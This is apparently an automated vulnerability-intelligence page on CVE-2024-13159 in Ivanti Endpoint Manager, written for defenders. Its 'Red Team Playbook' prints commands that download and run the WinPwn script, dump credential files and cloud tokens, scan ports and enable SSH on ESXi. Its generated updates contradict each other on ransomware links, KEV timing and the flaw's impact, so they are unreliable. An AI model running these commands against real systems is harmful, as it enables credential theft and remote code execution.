CVE-2024-13159

HIGH CISA KEV POC TTE 34d Pub 14/01 Upd 21/10

Overview

The vulnerability is an absolute path traversal flaw in Ivanti Endpoint Manager's file handling mechanism. It arises from improper validation of input parameters that accept file paths, allowing attackers to specify arbitrary absolute paths. This issue affects the Ivanti Endpoint Manager component responsible for processing file system paths in certain API endpoints prior to the 2024 January-2025 Security Update and the 2022 SU6 January-2025 Security Update.

Vulnerability Description

Absolute path traversal in Ivanti EPM before the 2024 January-2025 Security Update and 2022 SU6 January-2025 Security Update allows a remote unauthenticated attacker to leak sensitive information.

Impact

An unauthenticated remote attacker can exploit this vulnerability to coerce the Ivanti Endpoint Manager server into initiating NTLM authentication to an attacker-controlled system, resulting in credential theft via man-in-the-middle interception. No authentication or user interaction is required to trigger this behavior. This can lead to sensitive credential disclosure, enabling further lateral movement or privilege escalation within the targeted environment.

Solution

Apply the Ivanti Endpoint Manager January 2025 Security Update for both the 2024 and 2022 SU6 branches as detailed in the official Ivanti advisory available at https://forums.ivanti.com/s/article/Security-Advisory-EPM-January-2025-for-EPM-2024-and-EPM-2022-SU6. The update addresses the absolute path traversal and credential coercion vulnerabilities. Follow vendor instructions precisely to ensure complete remediation.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in Ivanti Endpoint Manager stems from an absolute path traversal flaw, which allows remote unauthenticated attackers to access sensitive information stored on the server. This type of vulnerability occurs when an application does not properly validate user input, enabling an attacker to manipulate file paths. By exploiting this flaw, an attacker can potentially read files outside the intended directory, leading to unauthorized access to sensitive data such as configuration files, user credentials, or other critical information. The issue is particularly concerning as it affects multiple versions of the Endpoint Manager, including those prior to the January 2025 Security Update and several specific updates from 2022.

Attack vectors for this vulnerability are relatively straightforward, as they do not require authentication, making it accessible to a wide range of potential attackers. An attacker could craft a malicious request that includes directory traversal sequences (e.g., "../") to navigate the file system and access files that should be restricted. For instance, by sending a specially crafted HTTP request to the affected application, an attacker could retrieve sensitive files that contain configuration settings or user data. This exploitation could be executed from anywhere on the internet, significantly increasing the risk of data breaches, especially for organizations that may not have robust perimeter defenses in place.

The real-world impact of this vulnerability can be severe, particularly for organizations that rely on Ivanti Endpoint Manager for managing their IT infrastructure. The potential for sensitive data leakage poses significant business risks, including reputational damage, regulatory penalties, and financial losses. If an attacker successfully exploits this vulnerability, they could gain access to critical information that could be used for further attacks, such as identity theft or corporate espionage. Additionally, the exposure of sensitive data could lead to compliance violations, especially for organizations subject to regulations such as GDPR or HIPAA, which mandate strict data protection measures.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Endpoint Manager to the latest versions provided by Ivanti is crucial, as these updates often include patches for known vulnerabilities. Furthermore, employing web application firewalls (WAF) can help filter out malicious requests that attempt to exploit path traversal vulnerabilities. Organizations should also conduct regular security assessments and penetration testing to identify potential weaknesses in their systems. Additionally, implementing strict access controls and monitoring for unusual access patterns can help detect and respond to exploitation attempts in real-time.

In conclusion, the absolute path traversal vulnerability in Ivanti Endpoint Manager presents a significant risk to organizations that utilize this software for endpoint management. The ease of exploitation combined with the potential for severe consequences necessitates immediate attention from affected entities. By prioritizing timely updates, employing security best practices, and fostering a culture of security awareness, organizations can better protect themselves against the threats posed by this and similar vulnerabilities.




CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-13159, indicating increased exploitation attempts targeting Ivanti Endpoint Manager. This uptick, while still emerging, signals growing adversary interest and potential reconnaissance or initial access operations leveraging the absolute path traversal vulnerability. The appearance of new proof-of-concept exploits circulating publicly further lowers the barrier for threat actors to weaponize this flaw, amplifying the risk to affected environments. Although ransomware involvement remains unconfirmed, the heightened activity underscores the vulnerability’s attractiveness as a vector for sensitive information disclosure, which could facilitate subsequent intrusion stages. Consequently, the threat level associated with CVE-2024-13159 has intensified from a latent concern to an active exploitation phase, warranting elevated vigilance from defenders monitoring endpoint management infrastructure.



Update 2 — May 20, 2026

CSURFACE threat intelligence has identified a critical reassessment of CVE-2024-13159’s severity, with the CVSS score elevated from 7.5 to 9.8, reflecting a more accurate depiction of its exploitability and impact. This adjustment coincides with the vulnerability’s recent inclusion in the Known Exploited Vulnerabilities (KEV) catalog, signaling recognition by authoritative bodies of its active threat status. Although telemetry indicates a significant reduction in detection activity, the emergence of a ransomware group association—previously unreported—marks a concerning development, suggesting that adversaries are increasingly integrating this flaw into their operational toolkits. The slight decline in the Exploit Prediction Scoring System (EPSS) score does not diminish the heightened criticality but rather underscores a transient lull in exploitation attempts, which may precede renewed offensive campaigns. The availability of public proof-of-concept exploits continues to lower barriers for threat actors, amplifying the risk of sensitive information disclosure and potential lateral movement within compromised networks. For defenders, these changes necessitate recalibrated risk assessments, as the vulnerability now presents a more imminent and severe threat vector, particularly given its ransomware linkage and formal KEV listing. Consequently, CVE-2024-13159’s threat level has escalated from a latent vulnerability to a critical priority requiring sustained monitoring and response readiness.



Update 3 — June 07, 2026

CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-13159, with telemetry indicating a doubling in observed exploitation attempts. This increase coincides with the recent inclusion of this vulnerability in the KEV catalog, underscoring its growing prominence in the threat landscape. Although the EPSS score remains high and stable, the slight upward adjustment reflects a subtle intensification in exploitation potential. Notably, no confirmed ransomware campaigns have been linked to this vulnerability to date, and associated threat actor activity remains limited. However, the availability of public proof-of-concept exploits continues to lower the barrier for adversaries, amplifying the risk of sensitive data exposure through remote, unauthenticated access. For defenders, this evolving pattern signals a transition from theoretical risk to active exploitation attempts, necessitating heightened vigilance. Consequently, the threat level for CVE-2024-13159 has shifted toward a more immediate concern, reinforcing its status as a critical priority within endpoint security frameworks.



Update 4 — June 15, 2026

The recent adjustment of CVE-2024-13159’s CVSS score from 9.8 to 7.5 reflects a refined understanding of its exploitability and impact, aligning with updated vulnerability assessments and patch availability. Despite the lowered severity rating, the EPSS score’s increase to nearly 1.0 indicates an elevated likelihood of exploitation in the wild, corroborated by a slight upward trend in exploit attempts detected by our telemetry. The inclusion of this vulnerability in the KEV catalog underscores its recognized importance within the security community, although no confirmed ransomware campaigns or high-confidence threat actor associations have emerged to date. The availability of public proof-of-concept exploits continues to facilitate adversary engagement, sustaining pressure on defenders to monitor for unauthorized access attempts. Consequently, while the immediate criticality has been moderated, the persistent exploitation potential and active interest from the attacker community maintain CVE-2024-13159 as a significant threat requiring ongoing vigilance.



Update 5 — June 22, 2026

CSURFACE threat intelligence has identified a notable increase in detection activity related to CVE-2024-13159, reflecting a subtle but meaningful escalation in adversary engagement targeting Ivanti Endpoint Manager. This upward trend in telemetry suggests that threat actors are intensifying reconnaissance or exploitation attempts, likely leveraging the publicly available proof-of-concept exploit to probe vulnerable environments. Although ransomware groups remain unassociated with this vulnerability, the growing frequency of exploitation attempts elevates the risk of sensitive information disclosure, which could serve as a precursor to more complex attack chains. Consequently, this development underscores the necessity for defenders to maintain heightened monitoring and response capabilities. While the overall threat level remains high due to the vulnerability’s inherent severity and exploitability, the recent surge in activity signals an increased immediacy in potential impact, warranting sustained vigilance.



Update 6 — July 08, 2026

CSURFACE threat intelligence has detected a slight increase in activity exploiting CVE-2024-13159, reflected by a modest rise in telemetry signals. Although the overall trend remains stable without rapid escalation, this uptick indicates continued adversary interest in leveraging the absolute path traversal vulnerability within Ivanti Endpoint Manager. The persistence of publicly available proof-of-concept exploits likely contributes to sustained probing attempts. While no direct ransomware group associations have emerged, the incremental growth in exploitation attempts heightens the risk of sensitive data leakage, which could facilitate subsequent attack stages. This subtle but consistent increase underscores the need for defenders to maintain vigilant monitoring, as the threat environment remains dynamic. Consequently, the risk level remains elevated, with the evolving activity suggesting a gradual intensification of exploitation efforts rather than an abrupt surge.

Affected Products (9)

Vendor Product Version CPE
ivanti Ivanti Endpoint Manager All cpe:2.3:a:ivanti:endpoint_manager:*:-:*:*:*:*:*:*
ivanti Ivanti Endpoint Manager 2022 cpe:2.3:a:ivanti:endpoint_manager:2022:-:*:*:*:*:*:*
ivanti Ivanti Endpoint Manager 2022 cpe:2.3:a:ivanti:endpoint_manager:2022:su1:*:*:*:*:*:*
ivanti Ivanti Endpoint Manager 2022 cpe:2.3:a:ivanti:endpoint_manager:2022:su2:*:*:*:*:*:*
ivanti Ivanti Endpoint Manager 2022 cpe:2.3:a:ivanti:endpoint_manager:2022:su3:*:*:*:*:*:*
ivanti Ivanti Endpoint Manager 2022 cpe:2.3:a:ivanti:endpoint_manager:2022:su4:*:*:*:*:*:*
ivanti Ivanti Endpoint Manager 2022 cpe:2.3:a:ivanti:endpoint_manager:2022:su5:*:*:*:*:*:*
ivanti Ivanti Endpoint Manager 2022 cpe:2.3:a:ivanti:endpoint_manager:2022:su6:*:*:*:*:*:*
ivanti Ivanti Endpoint Manager 2024 cpe:2.3:a:ivanti:endpoint_manager:2024:-:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (1)

Repository Author Stars Forks Date Link
horizon3ai/Ivanti-EPM-Coercion-Vulnerabilities
Proof of concept exploit for Ivanti EPM CVE-2024-13159 and others
horizon3ai 13 2 2025-02-18 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

14 events
2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-31
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-15
Exploited by 0apt

Ransomware group known to exploit this vulnerability

2026-04-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2025-03-10
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2025-02-18
PoC Published (1 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Path Traversal
100% path_traversal
Information Disclosure
51% info_disclosure

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-597 Absolute Path Traversal
36%

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (4)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-13159
forums.ivanti.com
GitHub CVE
https://forums.ivanti.com/s/article/Security-Advisory-EPM-January-2025-for-EPM-2024-and-EPM-2022-SU6
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-13159
horizon3.ai
NVD API Exploit Third Party Advisory
https://www.horizon3.ai/attack-research/attack-blogs/ivanti-endpoint-manager-multiple-credential-coercion-vulnerabilities/